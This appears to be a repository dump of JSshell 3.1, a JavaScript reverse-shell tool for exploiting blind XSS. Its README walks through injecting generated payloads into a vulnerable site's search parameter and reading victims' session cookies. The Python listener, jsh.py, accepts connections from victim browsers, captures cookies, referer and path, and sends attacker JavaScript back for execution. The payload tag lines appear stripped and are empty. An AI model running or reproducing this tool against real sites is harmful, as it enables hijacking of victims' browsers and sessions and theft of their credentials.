├── README.md
└── jsh.py
/README.md:
--------------------------------------------------------------------------------
1 | # JSshell - version 3.1
2 |
3 | 
4 |
5 | **JSshell** - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ...
6 |
7 | Requirements: Any OS + Python 2 or Python 3
8 |
9 | ### New in JSshell version 3.1
10 | Updated in the new version of JShell 3.1:
11 |
12 | - New JSshell command: `snippet` -> allows to write a snippet of javascript code
13 |
14 | ```sh
15 | >>> snippet
16 | Use CTRL+D to finish the snippet
17 |
18 | function new() {
19 | new = 'New update: Support javascript snippet =)';
20 | confirm(new)
21 | }
22 |
23 | new()
24 | >>>
25 | ```
26 | - Quiet mode (for professionals)
27 | - Added `
` reverse shell payload
28 | - Fixed some bugs
29 |
30 | # Usage
31 | #### Generate JS reverse shell payloads: `-g`
32 | #### Set the local port number for listening and generating payloads (Default: 4848): `-p`
33 | #### Set the local source address for generating payloads (Default: auto-detect your IP address): `-s`
34 | #### Set timeout for shell connection (if the user exits the session, the shell will be paused forever, so if your set the timeout, the shell will be closed after exceeds the timeout): `-w`
35 | #### Execute a command after getting the shell: `-c`
36 |
37 | #### Example usages:
38 | - `jsh.py`
39 | - `jsh.py -g`
40 | - `jsh.py -p 1234`
41 | - `jsh.py -s 48.586.1.23 -g`
42 | - `jsh.py -c "alert(document.cookie)" -w 10`
43 |
44 | #### An example for running JSshell:
45 | This is a step-by-step example of how to use JSshell.
46 |
47 | First, we need to generate a reverse JS shell payload and set the shell timeout (e.g. 20 seconds):
48 |
49 | ```
50 | ~# whoami
51 | root
52 | ~# ls
53 | README.md jsh.py
54 | ~# python3 jsh.py -g -w 20
55 | __
56 | |(_ _ |_ _ | |
57 | \_|__)_> | |(/_ | |
58 | v1.0
59 |
60 | Payload:
61 |
62 |
63 | Listening on [any] 4848 for incoming JS shell ...
64 | ```
65 |
66 | Now paste this payload to the website:
67 |
68 | `https://vulnwebs1te.com/b/search?q=`
69 |
70 | Access the page and we will have the reverse JS shell:
71 |
72 | ```
73 | __
74 | |(_ _ |_ _ | |
75 | \_|__)_> | |(/_ | |
76 | v1.0
77 |
78 | Payload:
79 |
80 |
81 | Listening on [any] 4848 for incoming JS shell ...
82 | Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
83 | $ established
84 | $ the
85 | $ shell
86 | $
87 | $
88 | $ help
89 | JSshell using javascript code as shell commands. Also supports some commands:
90 | help This help
91 | exit, quit Exit the JS shell
92 | $
93 | ```
94 | Let execute some commands:
95 |
96 | ```
97 | $ var test = 'controlled'
98 | $ confirm(test)
99 | $
100 | ```
101 | And an alert will be popped up: `controlled`
102 |
103 | ```
104 | $ prompt(document.cookie)
105 | $
106 | ```
107 | And the browser will print the user cookies: `JSESSION=3bda8...`
108 |
109 | ```
110 | $ exit
111 | ~# whoami
112 | root
113 | ~# pwd
114 | /home/shelld3v
115 | ~#
116 | ```
117 |
118 | Now quited!
119 |
120 |
121 | # Author
122 | This is created by [shelld3v](https://twitter.com/shells3c_)!
123 |
124 |
--------------------------------------------------------------------------------
/jsh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import socket
3 | import sys
4 | from requests import get
5 | import argparse
6 |
7 |
8 | red = '\033[1;31m'
9 | white = '\033[1;m'
10 | blue = '\033[1;34m'
11 | if sys.platform == 'win32':
12 | white = red = blue = ''
13 |
14 | if sys.version_info < (3, 0):
15 | input = raw_input
16 |
17 | banner = '''%s __
18 | |(_ _ |_ _ | |
19 | \_|__)_> | |(/_ | |
20 | v3.1
21 | ''' % red
22 | hp = '''JSshell uses javascript code as shell commands. Also supports some commands:
23 | help This help
24 | domain The source domain
25 | pwd The source path
26 | cookie The user cookie
27 | snippet Write a snippet of code
28 | exit, quit Exit the JS shell'''
29 |
30 |
31 | parser = argparse.ArgumentParser(description='JSshell 3.1: javascript reverse shell')
32 | parser.add_argument('-g', help='generate JS reverse shell payloads', dest='gene', action='store_true')
33 | parser.add_argument('-p', help='port number (default: 4848)', dest='port', default=4848)
34 | parser.add_argument('-s', help='source address (or hostname)', dest='host', default='')
35 | parser.add_argument('-t', help='target to be used in payloads, default: [host]:[port] from -s and -p', dest='target', default=str())
36 | parser.add_argument('-c', help='command to execute after get the shell', dest='command', default=str())
37 | parser.add_argument('-w', help='timeout for shell connection', dest='secs', type=float, default=0)
38 | parser.add_argument('-q', help='quiet mode', dest='quiet', action='store_true')
39 |
40 |
41 | args = parser.parse_args()
42 |
43 | host = args.host
44 | target = args.target
45 | gene = args.gene
46 | cmd = args.command
47 | secs = args.secs
48 |
49 | try:
50 | port = int(format(args.port))
51 | if not 0 <= port <= 65535:
52 | print('Invalid port: %s' % port)
53 | quit
54 | except:
55 | print('Invalid port: %s' % port)
56 | quit
57 |
58 | if target:
59 | source = target
60 | else:
61 | if not host:
62 | host = get('https://api.ipify.org').text
63 |
64 | source = "//{0}:{1}".format(host, port)
65 |
66 | if args.quiet:
67 | uprint = str
68 | else:
69 | uprint = print
70 |
71 | payload = '''
72 | - SVG:
73 | - SCRIPT:
74 | - IMG:
75 | - BODY:
76 | '''.format(source)
77 |
78 |
79 | form = b'''HTTP/1.1 200 OK
80 | Content-Type: application/javascript
81 | Connection: close
82 |
83 | '''
84 |
85 |
86 | def shell():
87 | while 1:
88 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
89 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
90 |
91 | if secs != 0:
92 | s.settimeout(secs)
93 | buffer = input('%s>>>%s ' % (blue, white))
94 | if buffer == 'exit' or buffer == 'quit':
95 | break
96 | try:
97 | if buffer[-1] in ['{', '(', '[']:
98 | openchar = buffer[-1]
99 | while 1:
100 | func = input(' ' * 10)
101 | buffer += '\n' + func
102 | try:
103 | if func[-1] == openchar:
104 | break
105 | except:
106 | pass
107 | except:
108 | pass
109 |
110 | s.bind(('0.0.0.0', port))
111 | s.listen(0)
112 |
113 | try:
114 | c, a = s.accept()
115 | data = c.recv(2048)
116 |
117 | if buffer == 'help':
118 | print(hp)
119 | elif buffer == 'snippet':
120 | print('Use CTRL+D to finish the snippet')
121 | print()
122 |
123 | buffer = sys.stdin.read()
124 | elif buffer == 'domain':
125 | try:
126 | print(domain)
127 | except:
128 | print('Could not get the source domain because the referer has been disabled')
129 | elif buffer == 'pwd':
130 | try:
131 | print(pth)
132 | except:
133 | print('Could not get the source path because the referer has been disabled')
134 | elif buffer == 'cookie':
135 | try:
136 | print(cookie)
137 | except:
138 | print('Could not get the cookie because there is no cookie or because of other reasons')
139 |
140 | c.send(form + buffer.encode())
141 | c.shutdown(socket.SHUT_RDWR)
142 | c.close()
143 | s.close()
144 | except KeyboardInterrupt:
145 | if sys.platform == 'win32':
146 | print('\nControl-C')
147 | s.close()
148 | break
149 | except Exception as msg:
150 | s.close()
151 | break
152 |
153 | def main():
154 | global cookie
155 | global domain
156 | global pth
157 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
158 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
159 |
160 | try:
161 | s.bind(('0.0.0.0', port))
162 | except socket.error as msg:
163 | print("Can't grab 0.0.0.0:%s with bind: %s" % (port, msg))
164 | quit()
165 |
166 | uprint(banner)
167 |
168 | if gene:
169 | uprint('%sPayloads: %s' % (white, payload))
170 |
171 | print('%sListening on [any] %s for incoming JS shell ...' % (white, port))
172 |
173 | s.listen(2)
174 |
175 | try:
176 | c, addr = s.accept()
177 | resp = c.recv(1024).decode()
178 | except KeyboardInterrupt:
179 | if sys.platform == 'win32':
180 | print('\nControl-C')
181 | exit()
182 | except:
183 | s.close()
184 | main()
185 |
186 | if 'Accept' in resp and 'HTTP' in resp:
187 | print('Got JS shell from [%s] port %s to %s %s' % (addr[0], addr[1], socket.gethostname(), port))
188 | if '?' in resp.split('\n')[0]:
189 | cookie = resp.split('\n')[0].split(' ')[1].split('?')[1]
190 | for line in resp.split('\n'):
191 | if 'referer' in line.lower():
192 | referer = line[9:]
193 | domain = referer.split('//')[1]
194 | pth = '/'.join(referer.split('/')[3:])
195 | if pth in ['', '\r']:
196 | pth = '/'
197 | if len(cmd):
198 | c.send(form + cmd.encode())
199 | print('%s>>>%s %s' % (blue, white, cmd))
200 |
201 | c.shutdown(socket.SHUT_RDWR)
202 | c.close()
203 | s.close()
204 | shell()
205 |
206 | else:
207 | s.close()
208 | main()
209 |
210 |
211 | main()
212 |
--------------------------------------------------------------------------------